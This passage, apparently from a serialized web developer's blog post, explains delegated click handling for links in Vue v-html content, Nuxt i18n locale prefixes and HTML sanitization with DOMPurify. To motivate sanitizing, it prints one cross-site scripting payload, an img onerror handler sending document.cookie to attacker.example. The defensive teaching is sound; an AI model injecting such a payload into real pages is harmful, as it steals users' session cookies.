rops":15415,"children":15416},{"style":518},[15417],{"type":38,"value":15418},"  // Resolves relative paths, and gives a null origin for mailto: and tel:.\n",{"type":33,"tag":367,"props":15420,"children":15421},{"class":369,"line":1312},[15422,15426,15431,15435,15439,15444,15448,15452,15456,15461,15465,15470,15474,15478,15482],{"type":33,"tag":367,"props":15423,"children":15424},{"style":812},[15425],{"type":38,"value":5839},{"type":33,"tag":367,"props":15427,"children":15428},{"style":633},[15429],{"type":38,"value":15430}," url",{"type":33,"tag":367,"props":15432,"children":15433},{"style":380},[15434],{"type":38,"value":835},{"type":33,"tag":367,"props":15436,"children":15437},{"style":380},[15438],{"type":38,"value":6657},{"type":33,"tag":367,"props":15440,"children":15441},{"style":1124},[15442],{"type":38,"value":15443}," URL",{"type":33,"tag":367,"props":15445,"children":15446},{"style":533},[15447],{"type":38,"value":1131},{"type":33,"tag":367,"props":15449,"children":15450},{"style":374},[15451],{"type":38,"value":14365},{"type":33,"tag":367,"props":15453,"children":15454},{"style":380},[15455],{"type":38,"value":593},{"type":33,"tag":367,"props":15457,"children":15458},{"style":374},[15459],{"type":38,"value":15460}," window",{"type":33,"tag":367,"props":15462,"children":15463},{"style":380},[15464],{"type":38,"value":174},{"type":33,"tag":367,"props":15466,"children":15467},{"style":374},[15468],{"type":38,"value":15469},"location",{"type":33,"tag":367,"props":15471,"children":15472},{"style":380},[15473],{"type":38,"value":174},{"type":33,"tag":367,"props":15475,"children":15476},{"style":527},[15477],{"type":38,"value":14365},{"type":33,"tag":367,"props":15479,"children":15480},{"style":533},[15481],{"type":38,"value":1141},{"type":33,"tag":367,"props":15483,"children":15484},{"style":380},[15485],{"type":38,"value":571},{"type":33,"tag":367,"props":15487,"children":15488},{"class":369,"line":1321},[15489,15493,15497,15502,15506,15511,15515,15519,15523,15527,15531,15535,15539,15543],{"type":33,"tag":367,"props":15490,"children":15491},{"style":633},[15492],{"type":38,"value":1369},{"type":33,"tag":367,"props":15494,"children":15495},{"style":533},[15496],{"type":38,"value":1215},{"type":33,"tag":367,"props":15498,"children":15499},{"style":374},[15500],{"type":38,"value":15501},"url",{"type":33,"tag":367,"props":15503,"children":15504},{"style":380},[15505],{"type":38,"value":174},{"type":33,"tag":367,"props":15507,"children":15508},{"style":527},[15509],{"type":38,"value":15510},"origin",{"type":33,"tag":367,"props":15512,"children":15513},{"style":633},[15514],{"type":38,"value":14969},{"type":33,"tag":367,"props":15516,"children":15517},{"style":374},[15518],{"type":38,"value":15460},{"type":33,"tag":367,"props":15520,"children":15521},{"style":380},[15522],{"type":38,"value":174},{"type":33,"tag":367,"props":15524,"children":15525},{"style":374},[15526],{"type":38,"value":15469},{"type":33,"tag":367,"props":15528,"children":15529},{"style":380},[15530],{"type":38,"value":174},{"type":33,"tag":367,"props":15532,"children":15533},{"style":527},[15534],{"type":38,"value":15510},{"type":33,"tag":367,"props":15536,"children":15537},{"style":533},[15538],{"type":38,"value":4242},{"type":33,"tag":367,"props":15540,"children":15541},{"style":3682},[15542],{"type":38,"value":4247},{"type":33,"tag":367,"props":15544,"children":15545},{"style":380},[15546],{"type":38,"value":571},{"type":33,"tag":367,"props":15548,"children":15549},{"class":369,"line":1363},[15550],{"type":33,"tag":367,"props":15551,"children":15552},{"emptyLinePlaceholder":726},[15553],{"type":38,"value":729},{"type":33,"tag":367,"props":15555,"children":15556},{"class":369,"line":1432},[15557,15562,15566,15570,15574],{"type":33,"tag":367,"props":15558,"children":15559},{"style":374},[15560],{"type":38,"value":15561},"  event",{"type":33,"tag":367,"props":15563,"children":15564},{"style":380},[15565],{"type":38,"value":174},{"type":33,"tag":367,"props":15567,"children":15568},{"style":1124},[15569],{"type":38,"value":14310},{"type":33,"tag":367,"props":15571,"children":15572},{"style":533},[15573],{"type":38,"value":1197},{"type":33,"tag":367,"props":15575,"children":15576},{"style":380},[15577],{"type":38,"value":571},{"type":33,"tag":367,"props":15579,"children":15580},{"class":369,"line":1475},[15581,15585,15589,15593,15597,15601,15605,15610,15614,15618,15622,15627,15631,15635,15639,15644,15648],{"type":33,"tag":367,"props":15582,"children":15583},{"style":374},[15584],{"type":38,"value":4867},{"type":33,"tag":367,"props":15586,"children":15587},{"style":380},[15588],{"type":38,"value":174},{"type":33,"tag":367,"props":15590,"children":15591},{"style":1124},[15592],{"type":38,"value":14335},{"type":33,"tag":367,"props":15594,"children":15595},{"style":533},[15596],{"type":38,"value":1131},{"type":33,"tag":367,"props":15598,"children":15599},{"style":374},[15600],{"type":38,"value":15501},{"type":33,"tag":367,"props":15602,"children":15603},{"style":380},[15604],{"type":38,"value":174},{"type":33,"tag":367,"props":15606,"children":15607},{"style":527},[15608],{"type":38,"value":15609},"pathname",{"type":33,"tag":367,"props":15611,"children":15612},{"style":380},[15613],{"type":38,"value":9725},{"type":33,"tag":367,"props":15615,"children":15616},{"style":374},[15617],{"type":38,"value":15430},{"type":33,"tag":367,"props":15619,"children":15620},{"style":380},[15621],{"type":38,"value":174},{"type":33,"tag":367,"props":15623,"children":15624},{"style":527},[15625],{"type":38,"value":15626},"search",{"type":33,"tag":367,"props":15628,"children":15629},{"style":380},[15630],{"type":38,"value":9725},{"type":33,"tag":367,"props":15632,"children":15633},{"style":374},[15634],{"type":38,"value":15430},{"type":33,"tag":367,"props":15636,"children":15637},{"style":380},[15638],{"type":38,"value":174},{"type":33,"tag":367,"props":15640,"children":15641},{"style":527},[15642],{"type":38,"value":15643},"hash",{"type":33,"tag":367,"props":15645,"children":15646},{"style":533},[15647],{"type":38,"value":1141},{"type":33,"tag":367,"props":15649,"children":15650},{"style":380},[15651],{"type":38,"value":571},{"type":33,"tag":367,"props":15653,"children":15654},{"class":369,"line":1517},[15655],{"type":33,"tag":367,"props":15656,"children":15657},{"style":533},[15658],{"type":38,"value":1301},{"type":33,"tag":367,"props":15660,"children":15661},{"class":369,"line":1526},[15662,15666,15670],{"type":33,"tag":367,"props":15663,"children":15664},{"style":1974},[15665],{"type":38,"value":2382},{"type":33,"tag":367,"props":15667,"children":15668},{"style":1980},[15669],{"type":38,"value":1983},{"type":33,"tag":367,"props":15671,"children":15672},{"style":1974},[15673],{"type":38,"value":2015},{"type":33,"tag":367,"props":15675,"children":15676},{"class":369,"line":1539},[15677],{"type":33,"tag":367,"props":15678,"children":15679},{"emptyLinePlaceholder":726},[15680],{"type":38,"value":729},{"type":33,"tag":367,"props":15682,"children":15683},{"class":369,"line":1547},[15684,15688,15692],{"type":33,"tag":367,"props":15685,"children":15686},{"style":1974},[15687],{"type":38,"value":1977},{"type":33,"tag":367,"props":15689,"children":15690},{"style":1980},[15691],{"type":38,"value":2409},{"type":33,"tag":367,"props":15693,"children":15694},{"style":1974},[15695],{"type":38,"value":2015},{"type":33,"tag":367,"props":15697,"children":15698},{"class":369,"line":1586},[15699,15703,15707,15712,15716,15720,15725,15729,15733,15737,15741,15745,15750,15754,15758,15762,15766,15770,15774,15778,15782,15786],{"type":33,"tag":367,"props":15700,"children":15701},{"style":1974},[15702],{"type":38,"value":2421},{"type":33,"tag":367,"props":15704,"children":15705},{"style":1980},[15706],{"type":38,"value":14469},{"type":33,"tag":367,"props":15708,"children":15709},{"style":633},[15710],{"type":38,"value":15711}," class",{"type":33,"tag":367,"props":15713,"children":15714},{"style":380},[15715],{"type":38,"value":383},{"type":33,"tag":367,"props":15717,"children":15718},{"style":380},[15719],{"type":38,"value":388},{"type":33,"tag":367,"props":15721,"children":15722},{"style":391},[15723],{"type":38,"value":15724},"rich-text",{"type":33,"tag":367,"props":15726,"children":15727},{"style":380},[15728],{"type":38,"value":388},{"type":33,"tag":367,"props":15730,"children":15731},{"style":380},[15732],{"type":38,"value":2458},{"type":33,"tag":367,"props":15734,"children":15735},{"style":633},[15736],{"type":38,"value":2463},{"type":33,"tag":367,"props":15738,"children":15739},{"style":380},[15740],{"type":38,"value":383},{"type":33,"tag":367,"props":15742,"children":15743},{"style":380},[15744],{"type":38,"value":388},{"type":33,"tag":367,"props":15746,"children":15747},{"style":374},[15748],{"type":38,"value":15749},"onClick",{"type":33,"tag":367,"props":15751,"children":15752},{"style":380},[15753],{"type":38,"value":388},{"type":33,"tag":367,"props":15755,"children":15756},{"style":633},[15757],{"type":38,"value":14494},{"type":33,"tag":367,"props":15759,"children":15760},{"style":380},[15761],{"type":38,"value":383},{"type":33,"tag":367,"props":15763,"children":15764},{"style":380},[15765],{"type":38,"value":388},{"type":33,"tag":367,"props":15767,"children":15768},{"style":374},[15769],{"type":38,"value":14507},{"type":33,"tag":367,"props":15771,"children":15772},{"style":380},[15773],{"type":38,"value":174},{"type":33,"tag":367,"props":15775,"children":15776},{"style":527},[15777],{"type":38,"value":14516},{"type":33,"tag":367,"props":15779,"children":15780},{"style":380},[15781],{"type":38,"value":388},{"type":33,"tag":367,"props":15783,"children":15784},{"style":14523},[15785],{"type":38,"value":14526},{"type":33,"tag":367,"props":15787,"children":15788},{"style":1974},[15789],{"type":38,"value":2015},{"type":33,"tag":367,"props":15791,"children":15792},{"class":369,"line":1621},[15793,15797,15801],{"type":33,"tag":367,"props":15794,"children":15795},{"style":1974},[15796],{"type":38,"value":2382},{"type":33,"tag":367,"props":15798,"children":15799},{"style":1980},[15800],{"type":38,"value":2409},{"type":33,"tag":367,"props":15802,"children":15803},{"style":1974},[15804],{"type":38,"value":2015},{"type":33,"tag":34,"props":15806,"children":15807},{},[15808,15810,15815,15817,15822],{"type":38,"value":15809},"The mechanism that makes this hold up: ",{"type":33,"tag":41,"props":15811,"children":15813},{"className":15812},[],[15814],{"type":38,"value":13750},{"type":38,"value":15816}," replaces the ",{"type":33,"tag":237,"props":15818,"children":15819},{},[15820],{"type":38,"value":15821},"children",{"type":38,"value":15823}," of the wrapper, never the wrapper itself. The listener is bound in the template, so Vue attaches it once and removes it when the component unmounts, and it survives every content change underneath because clicks bubble up to an element that was never touched.",{"type":33,"tag":357,"props":15825,"children":15827},{"code":15826},"click on \u003Ca href=\"/pricing\"> rendered by v-html\n\n  walk-and-attach, content changed since mount\n    \u003Ca>  ->  no listener\n             browser default: GET /pricing\n             new document, new JS context, store rebuilt, scroll lost\n\n  delegated listener on the wrapper\n    \u003Ca>  ->  bubbles to \u003Cdiv class=\"rich-text\">\n             onClick: left click, same origin, no target\n             router.push(\"/pricing\")\n             view swaps, store intact, scroll handled by the router\n",[15828],{"type":33,"tag":41,"props":15829,"children":15830},{"__ignoreMap":7},[15831],{"type":38,"value":15826},{"type":33,"tag":34,"props":15833,"children":15834},{},[15835],{"type":38,"value":15836},"One listener per component rather than one per anchor. On a changelog page with 40 links that is 40 fewer registrations, though the count is not really the point. The point is that there is nothing left to keep in sync.",{"type":33,"tag":95,"props":15838,"children":15840},{"id":15839},"what-each-guard-is-for",[15841],{"type":38,"value":15842},"What Each Guard Is For",{"type":33,"tag":34,"props":15844,"children":15845},{},[15846],{"type":38,"value":15847},"Every early return in that handler maps to a link that must keep working normally.",{"type":33,"tag":34,"props":15849,"children":15850},{},[15851,15857],{"type":33,"tag":41,"props":15852,"children":15854},{"className":15853},[],[15855],{"type":38,"value":15856},"event.defaultPrevented",{"type":38,"value":15858}," respects a handler that already ran. If you nest this component inside something with its own click behaviour, you do not want to fight it.",{"type":33,"tag":34,"props":15860,"children":15861},{},[15862,15864,15869],{"type":38,"value":15863},"The button and modifier checks hand cmd-click, ctrl-click, shift-click, and middle-click back to the browser. These open tabs and windows, and there is no version of ",{"type":33,"tag":41,"props":15865,"children":15867},{"className":15866},[],[15868],{"type":38,"value":14580},{"type":38,"value":15870}," that does the same thing.",{"type":33,"tag":34,"props":15872,"children":15873},{},[15874,15880,15882,15888,15890,15896,15898,15904],{"type":33,"tag":41,"props":15875,"children":15877},{"className":15876},[],[15878],{"type":38,"value":15879},"closest(\"a\")",{"type":38,"value":15881}," matters because the click target is whatever element is under the cursor. An editor who bolds part of a link gives you a ",{"type":33,"tag":41,"props":15883,"children":15885},{"className":15884},[],[15886],{"type":38,"value":15887},"\u003Cstrong>",{"type":38,"value":15889}," as ",{"type":33,"tag":41,"props":15891,"children":15893},{"className":15892},[],[15894],{"type":38,"value":15895},"event.target",{"type":38,"value":15897},", and a check against ",{"type":33,"tag":41,"props":15899,"children":15901},{"className":15900},[],[15902],{"type":38,"value":15903},"event.target.tagName === \"A\"",{"type":38,"value":15905}," misses it.",{"type":33,"tag":34,"props":15907,"children":15908},{},[15909,15910,15916,15918,15923,15925,15931,15932,15938,15940,15946],{"type":38,"value":1727},{"type":33,"tag":41,"props":15911,"children":15913},{"className":15912},[],[15914],{"type":38,"value":15915},"new URL(href, window.location.href)",{"type":38,"value":15917}," line does the work that the ",{"type":33,"tag":41,"props":15919,"children":15921},{"className":15920},[],[15922],{"type":38,"value":14227},{"type":38,"value":15924}," attribute check was pretending to do. Relative hrefs resolve against the current page. ",{"type":33,"tag":41,"props":15926,"children":15928},{"className":15927},[],[15929],{"type":38,"value":15930},"mailto:",{"type":38,"value":150},{"type":33,"tag":41,"props":15933,"children":15935},{"className":15934},[],[15936],{"type":38,"value":15937},"tel:",{"type":38,"value":15939}," produce an origin of ",{"type":33,"tag":41,"props":15941,"children":15943},{"className":15942},[],[15944],{"type":38,"value":15945},"\"null\"",{"type":38,"value":15947},", which never equals your origin, so they fall through to the browser. Cross-origin links fall through for the same reason. What is left is genuinely internal, and only that reaches the router.",{"type":33,"tag":455,"props":15949,"children":15950},{},[15951],{"type":33,"tag":34,"props":15952,"children":15953},{},[15954,15956,15962,15964,15969,15971,15977,15978,15984],{"type":38,"value":15955},"Passing ",{"type":33,"tag":41,"props":15957,"children":15959},{"className":15958},[],[15960],{"type":38,"value":15961},"url.pathname + url.search + url.hash",{"type":38,"value":15963}," rather than the raw ",{"type":33,"tag":41,"props":15965,"children":15967},{"className":15966},[],[15968],{"type":38,"value":14365},{"type":38,"value":15970}," normalises ",{"type":33,"tag":41,"props":15972,"children":15974},{"className":15973},[],[15975],{"type":38,"value":15976},"./docs",{"type":38,"value":150},{"type":33,"tag":41,"props":15979,"children":15981},{"className":15980},[],[15982],{"type":38,"value":15983},"../pricing",{"type":38,"value":15985}," into absolute paths before the router tries to match them.",{"type":33,"tag":95,"props":15987,"children":15989},{"id":15988},"keeping-the-locale-prefix-in-nuxt",[15990],{"type":38,"value":15991},"Keeping the Locale Prefix in Nuxt",{"type":33,"tag":34,"props":15993,"children":15994},{},[15995,15997,16003,16005,16010],{"type":38,"value":15996},"If the site runs ",{"type":33,"tag":41,"props":15998,"children":16000},{"className":15999},[],[16001],{"type":38,"value":16002},"@nuxtjs/i18n",{"type":38,"value":16004},", a CMS href of ",{"type":33,"tag":41,"props":16006,"children":16008},{"className":16007},[],[16009],{"type":38,"value":13758},{"type":38,"value":16011}," is missing the locale segment that every real route carries. Resolve it before pushing.",{"type":33,"tag":357,"props":16013,"children":16015},{"code":16014,"language":8808,"meta":7,"className":8809,"style":7},"const localePath = useLocalePath();\n\n// ...inside onClick, replacing the final router.push\nrouter.push(localePath(url.pathname + url.search + url.hash));\n",[16016],{"type":33,"tag":41,"props":16017,"children":16018},{"__ignoreMap":7},[16019,16048,16055,16063],{"type":33,"tag":367,"props":16020,"children":16021},{"class":369,"line":370},[16022,16026,16031,16035,16040,16044],{"type":33,"tag":367,"props":16023,"children":16024},{"style":812},[16025],{"type":38,"value":815},{"type":33,"tag":367,"props":16027,"children":16028},{"style":633},[16029],{"type":38,"value":16030}," localePath",{"type":33,"tag":367,"props":16032,"children":16033},{"style":380},[16034],{"type":38,"value":835},{"type":33,"tag":367,"props":16036,"children":16037},{"style":1124},[16038],{"type":38,"value":16039}," useLocalePath",{"type":33,"tag":367,"props":16041,"children":16042},{"style":533},[16043],{"type":38,"value":1197},{"type":33,"tag":367,"props":16045,"children":16046},{"style":380},[16047],{"type":38,"value":571},{"type":33,"tag":367,"props":16049,"children":16050},{"class":369,"line":402},[16051],{"type":33,"tag":367,"props":16052,"children":16053},{"emptyLinePlaceholder":726},[16054],{"type":38,"value":729},{"type":33,"tag":367,"props":16056,"children":16057},{"class":369,"line":574},[16058],{"type":33,"tag":367,"props":16059,"children":16060},{"style":518},[16061],{"type":38,"value":16062},"// ...inside onClick, replacing the final router.push\n",{"type":33,"tag":367,"props":16064,"children":16065},{"class":369,"line":625},[16066,16070,16074,16078,16082,16087,16091,16095,16099,16103,16107,16111,16115,16119,16123,16127,16131,16135,16139],{"type":33,"tag":367,"props":16067,"children":16068},{"style":374},[16069],{"type":38,"value":1610},{"type":33,"tag":367,"props":16071,"children":16072},{"style":380},[16073],{"type":38,"value":174},{"type":33,"tag":367,"props":16075,"children":16076},{"style":1124},[16077],{"type":38,"value":14335},{"type":33,"tag":367,"props":16079,"children":16080},{"style":533},[16081],{"type":38,"value":1131},{"type":33,"tag":367,"props":16083,"children":16084},{"style":1124},[16085],{"type":38,"value":16086},"localePath",{"type":33,"tag":367,"props":16088,"children":16089},{"style":533},[16090],{"type":38,"value":1131},{"type":33,"tag":367,"props":16092,"children":16093},{"style":374},[16094],{"type":38,"value":15501},{"type":33,"tag":367,"props":16096,"children":16097},{"style":380},[16098],{"type":38,"value":174},{"type":33,"tag":367,"props":16100,"children":16101},{"style":527},[16102],{"type":38,"value":15609},{"type":33,"tag":367,"props":16104,"children":16105},{"style":380},[16106],{"type":38,"value":9725},{"type":33,"tag":367,"props":16108,"children":16109},{"style":374},[16110],{"type":38,"value":15430},{"type":33,"tag":367,"props":16112,"children":16113},{"style":380},[16114],{"type":38,"value":174},{"type":33,"tag":367,"props":16116,"children":16117},{"style":527},[16118],{"type":38,"value":15626},{"type":33,"tag":367,"props":16120,"children":16121},{"style":380},[16122],{"type":38,"value":9725},{"type":33,"tag":367,"props":16124,"children":16125},{"style":374},[16126],{"type":38,"value":15430},{"type":33,"tag":367,"props":16128,"children":16129},{"style":380},[16130],{"type":38,"value":174},{"type":33,"tag":367,"props":16132,"children":16133},{"style":527},[16134],{"type":38,"value":15643},{"type":33,"tag":367,"props":16136,"children":16137},{"style":533},[16138],{"type":38,"value":14374},{"type":33,"tag":367,"props":16140,"children":16141},{"style":380},[16142],{"type":38,"value":571},{"type":33,"tag":34,"props":16144,"children":16145},{},[16146,16148,16154,16156,16161,16163,16169],{"type":38,"value":16147},"The caveat: this assumes editors write unprefixed paths. If some of them paste ",{"type":33,"tag":41,"props":16149,"children":16151},{"className":16150},[],[16152],{"type":38,"value":16153},"/de/pricing",{"type":38,"value":16155}," from the address bar, ",{"type":33,"tag":41,"props":16157,"children":16159},{"className":16158},[],[16160],{"type":38,"value":16086},{"type":38,"value":16162}," will prefix it again and produce ",{"type":33,"tag":41,"props":16164,"children":16166},{"className":16165},[],[16167],{"type":38,"value":16168},"/de/de/pricing",{"type":38,"value":16170},". Strip a leading locale segment first, or fix it in the CMS, which is the better place to fix it.",{"type":33,"tag":95,"props":16172,"children":16174},{"id":16173},"sanitize-before-you-render",[16175],{"type":38,"value":16176},"Sanitize Before You Render",{"type":33,"tag":34,"props":16178,"children":16179},{},[16180,16185,16187,16193,16195,16201],{"type":33,"tag":41,"props":16181,"children":16183},{"className":16182},[],[16184],{"type":38,"value":13750},{"type":38,"value":16186}," assigns to ",{"type":33,"tag":41,"props":16188,"children":16190},{"className":16189},[],[16191],{"type":38,"value":16192},"innerHTML",{"type":38,"value":16194},". The HTML parser refuses to execute a ",{"type":33,"tag":41,"props":16196,"children":16198},{"className":16197},[],[16199],{"type":38,"value":16200},"\u003Cscript>",{"type":38,"value":16202}," tag inserted that way, which is where a lot of people stop worrying about it. Inline event handlers are a different story:",{"type":33,"tag":357,"props":16204,"children":16207},{"code":16205,"language":14516,"meta":7,"className":16206,"style":7},"\u003Cimg src=\"x\" onerror=\"fetch('https://attacker.example/?c=' + document.cookie)\">\n","language-html shiki shiki-themes tokyo-night",[16208],{"type":33,"tag":41,"props":16209,"children":16210},{"__ignoreMap":7},[16211],{"type":33,"tag":367,"props":16212,"children":16213},{"class":369,"line":370},[16214,16218,16223,16228,16232,16236,16241,16245,16250,16254,16258,16262,16266,16271,16276,16280,16285,16289],{"type":33,"tag":367,"props":16215,"children":16216},{"style":1974},[16217],{"type":38,"value":1977},{"type":33,"tag":367,"props":16219,"children":16220},{"style":1980},[16221],{"type":38,"value":16222},"img",{"type":33,"tag":367,"props":16224,"children":16225},{"style":633},[16226],{"type":38,"value":16227}," src",{"type":33,"tag":367,"props":16229,"children":16230},{"style":380},[16231],{"type":38,"value":383},{"type":33,"tag":367,"props":16233,"children":16234},{"style":380},[16235],{"type":38,"value":388},{"type":33,"tag":367,"props":16237,"children":16238},{"style":391},[16239],{"type":38,"value":16240},"x",{"type":33,"tag":367,"props":16242,"children":16243},{"style":380},[16244],{"type":38,"value":388},{"type":33,"tag":367,"props":16246,"children":16247},{"style":633},[16248],{"type":38,"value":16249}," onerror",{"type":33,"tag":367,"props":16251,"children":16252},{"style":380},[16253],{"type":38,"value":383},{"type":33,"tag":367,"props":16255,"children":16256},{"style":380},[16257],{"type":38,"value":388},{"type":33,"tag":367,"props":16259,"children":16260},{"style":1124},[16261],{"type":38,"value":4543},{"type":33,"tag":367,"props":16263,"children":16264},{"style":533},[16265],{"type":38,"value":1131},{"type":33,"tag":367,"props":16267,"children":16268},{"style":380},[16269],{"type":38,"value":16270},"'",{"type":33,"tag":367,"props":16272,"children":16273},{"style":391},[16274],{"type":38,"value":16275},"https",{"type":33,"tag":367,"props":16277,"children":16278},{"style":14523},[16279],{"type":38,"value":825},{"type":33,"tag":367,"props":16281,"children":16282},{"style":518},[16283],{"type":38,"value":16284},"//attacker.example/?c=' + document.cookie)",{"type":33,"tag":367,"props":16286,"children":16287},{"style":380},[16288],{"type":38,"value":388},{"type":33,"tag":367,"props":16290,"children":16291},{"style":1974},[16292],{"type":38,"value":2015},{"type":33,"tag":34,"props":16294,"children":16295},{},[16296],{"type":38,"value":16297},"That image fails to load, because failing to load is the entire plan, and the handler runs with full access to the page. Run untrusted HTML through a sanitizer first.",{"type":33,"tag":357,"props":16299,"children":16301},{"code":16300,"language":8808,"meta":7,"className":8809,"style":7},"import { computed } from \"vue\";\nimport DOMPurify from \"dompurify\";\n\nconst safeHtml = computed(() => DOMPurify.sanitize(props.html));\n",[16302],{"type":33,"tag":41,"props":16303,"children":16304},{"__ignoreMap":7},[16305,16344,16377,16384],{"type":33,"tag":367,"props":16306,"children":16307},{"class":369,"line":370},[16308,16312,16316,16320,16324,16328,16332,16336,16340],{"type":33,"tag":367,"props":16309,"children":16310},{"style":527},[16311],{"type":38,"value":530},{"type":33,"tag":367,"props":16313,"children":16314},{"style":533},[16315],{"type":38,"value":536},{"type":33,"tag":367,"props":16317,"children":16318},{"style":539},[16319],{"type":38,"value":2767},{"type":33,"tag":367,"props":16321,"children":16322},{"style":533},[16323],{"type":38,"value":547},{"type":33,"tag":367,"props":16325,"children":16326},{"style":527},[16327],{"type":38,"value":552},{"type":33,"tag":367,"props":16329,"children":16330},{"style":380},[16331],{"type":38,"value":557},{"type":33,"tag":367,"props":16333,"children":16334},{"style":391},[16335],{"type":38,"value":562},{"type":33,"tag":367,"props":16337,"children":16338},{"style":380},[16339],{"type":38,"value":388},{"type":33,"tag":367,"props":16341,"children":16342},{"style":380},[16343],{"type":38,"value":571},{"type":33,"tag":367,"props":16345,"children":16346},{"class":369,"line":402},[16347,16351,16356,16360,16364,16369,16373],{"type":33,"tag":367,"props":16348,"children":16349},{"style":527},[16350],{"type":38,"value":530},{"type":33,"tag":367,"props":16352,"children":16353},{"style":539},[16354],{"type":38,"value":16355}," DOMPurify",{"type":33,"tag":367,"props":16357,"children":16358},{"style":527},[16359],{"type":38,"value":552},{"type":33,"tag":367,"props":16361,"children":16362},{"style":380},[16363],{"type":38,"value":557},{"type":33,"tag":367,"props":16365,"children":16366},{"style":391},[16367],{"type":38,"value":16368},"dompurify",{"type":33,"tag":367,"props":16370,"children":16371},{"style":380},[16372],{"type":38,"value":388},{"type":33,"tag":367,"props":16374,"children":16375},{"style":380},[16376],{"type":38,"value":571},{"type":33,"tag":367,"props":16378,"children":16379},{"class":369,"line":574},[16380],{"type":33,"tag":367,"props":16381,"children":16382},{"emptyLinePlaceholder":726},[16383],{"type":38,"value":729},{"type":33,"tag":367,"props":16385,"children":16386},{"class":369,"line":625},[16387,16391,16396,16400,16404,16408,16412,16416,16420,16425,16429,16433,16437,16441,16445],{"type":33,"tag":367,"props":16388,"children":16389},{"style":812},[16390],{"type":38,"value":815},{"type":33,"tag":367,"props":16392,"children":16393},{"style":633},[16394],{"type":38,"value":16395}," safeHtml",{"type":33,"tag":367,"props":16397,"children":16398},{"style":380},[16399],{"type":38,"value":835},{"type":33,"tag":367,"props":16401,"children":16402},{"style":1124},[16403],{"type":38,"value":2893},{"type":33,"tag":367,"props":16405,"children":16406},{"style":533},[16407],{"type":38,"value":2898},{"type":33,"tag":367,"props":16409,"children":16410},{"style":633},[16411],{"type":38,"value":1356},{"type":33,"tag":367,"props":16413,"children":16414},{"style":374},[16415],{"type":38,"value":16355},{"type":33,"tag":367,"props":16417,"children":16418},{"style":380},[16419],{"type":38,"value":174},{"type":33,"tag":367,"props":16421,"children":16422},{"style":1124},[16423],{"type":38,"value":16424},"sanitize",{"type":33,"tag":367,"props":16426,"children":16427},{"style":533},[16428],{"type":38,"value":1131},{"type":33,"tag":367,"props":16430,"children":16431},{"style":374},[16432],{"type":38,"value":14507},{"type":33,"tag":367,"props":16434,"children":16435},{"style":380},[16436],{"type":38,"value":174},{"type":33,"tag":367,"props":16438,"children":16439},{"style":527},[16440],{"type":38,"value":14516},{"type":33,"tag":367,"props":16442,"children":16443},{"style":533},[16444],{"type":38,"value":14374},{"type":33,"tag":367,"props":16446,"children":16447},{"style":380},[16448],{"type":38,"value":571},{"type":33,"tag":34,"props":16450,"children":16451},{},[16452,16454,16460,16462,16468,16469,16475,16476,16482],{"type":38,"value":16453},"Then render ",{"type":33,"tag":41,"props":16455,"children":16457},{"className":16456},[],[16458],{"type":38,"value":16459},"safeHtml",{"type":38,"value":16461}," instead of the raw prop. DOMPurify strips ",{"type":33,"tag":41,"props":16463,"children":16465},{"className":16464},[],[16466],{"type":38,"value":16467},"onerror",{"type":38,"value":3577},{"type":33,"tag":41,"props":16470,"children":16472},{"className":16471},[],[16473],{"type":38,"value":16474},"onload",{"type":38,"value":3577},{"type":33,"tag":41,"props":16477,"children":16479},{"className":16478},[],[16480],{"type":38,"value":16481},"javascript:",{"type":38,"value":16483}," URLs, and the rest of the standard set while leaving the anchors your click handler depends on intact.",{"type":33,"tag":34,"props":16485,"children":16486},{},[16487,16492],{"type":33,"tag":201,"props":16488,"children":16489},{},[16490],{"type":38,"value":16491},"A client-side sanitizer only protects the client that runs it.",{"type":38,"value":16493}," If the HTML is user-generated, sanitize it on the server too, at the point it is stored or served. Anything else that reads the same field, an RSS feed, a native app, an email template, gets the raw string and none of this protection.",{"type":33,"tag":34,"props":16495,"children":16496},{},[16497],{"type":38,"value":16498},"Content from a CMS that only your own editors can write is a different risk profile, and sanitizing it is closer to a defence against a compromised editor account than against the editors. Worth doing, but be honest about which threat you are handling.",{"type":33,"tag":95,"props":16500,"children":16502},{"id":16501},"when-to-skip-v-html-entirely",[16503],{"type":38,"value":16504},"When to Skip v-html Entirely",{"type":33,"tag":34,"props":16506,"children":16507},{},[16508],{"type":38,"value":16509},"The delegated handler is for one situation: HTML arrives as HTML, from a system you do not control, and you need internal links inside it to route.",{"type":33,"tag":34,"props":16511,"children":16512},{},[16513,16515,16521,16523,16529],{"type":38,"value":16514},"If the content is authored as Markdown and you are already on Nuxt Content, ",{"type":33,"tag":41,"props":16516,"children":16518},{"className":16517},[],[16519],{"type":38,"value":16520},"\u003CContentRenderer>",{"type":38,"value":16522}," is the better answer. It parses to a virtual DOM tree rather than a string, so a Markdown link becomes a real ",{"type":33,"tag":41,"props":16524,"children":16526},{"className":16525},[],[16527],{"type":38,"value":16528},"\u003CNuxtLink>",{"type":38,"value":16530}," and every problem in this post disappears before it starts.",{"type":33,"tag":34,"props":16532,"children":16533},{},[16534],{"type":38,"value":16535},"If you control the authoring format and want components inside prose, MDC gives you that directly. Reaching for a string of HTML plus a click interceptor to get there is more moving parts for a worse result.",{"type":33,"tag":34,"props":16537,"children":16538},{},[16539,16541,16546],{"type":38,"value":16540},"And if the rich text can contain forms, nested interactive components, or anything that needs its own state, none of this applies. ",{"type":33,"tag":41,"props":16542,"children":16544},{"className":16543},[],[16545],{"type":38,"value":13750},{"type":38,"value":16547}," renders inert markup. Intercepting clicks on top of it will not make it reactive, and building further in that direction is how you end up hand-rolling a renderer. Use a real one.",{"type":33,"tag":95,"props":16549,"children":16550},{"id":7803},[16551],{"type":38,"value":7806},{"type":33,"tag":34,"props":16553,"children":16554},{},[16555],{"type":33,"tag":201,"props":16556,"children":16557},{},[16558,16560,16565],{"type":38,"value":16559},"Why do click events inside ",{"type":33,"tag":41,"props":16561,"children":16563},{"className":16562},[],[16564],{"type":38,"value":13750},{"type":38,"value":16566}," not work in Vue 3?",{"type":33,"tag":34,"props":16568,"children":16569},{},[16570,16572,16578,16580,16585,16587,16592],{"type":38,"value":16571},"Vue compiles ",{"type":33,"tag":41,"props":16573,"children":16575},{"className":16574},[],[16576],{"type":38,"value":16577},"@click",{"type":38,"value":16579}," bindings in your template at build time. Content injected through ",{"type":33,"tag":41,"props":16581,"children":16583},{"className":16582},[],[16584],{"type":38,"value":13750},{"type":38,"value":16586}," never passes through the compiler, so directives and event bindings written inside that string are plain text attributes with no meaning. Delegating from a parent element that ",{"type":33,"tag":237,"props":16588,"children":16589},{},[16590],{"type":38,"value":16591},"is",{"type":38,"value":16593}," in your template is the way around 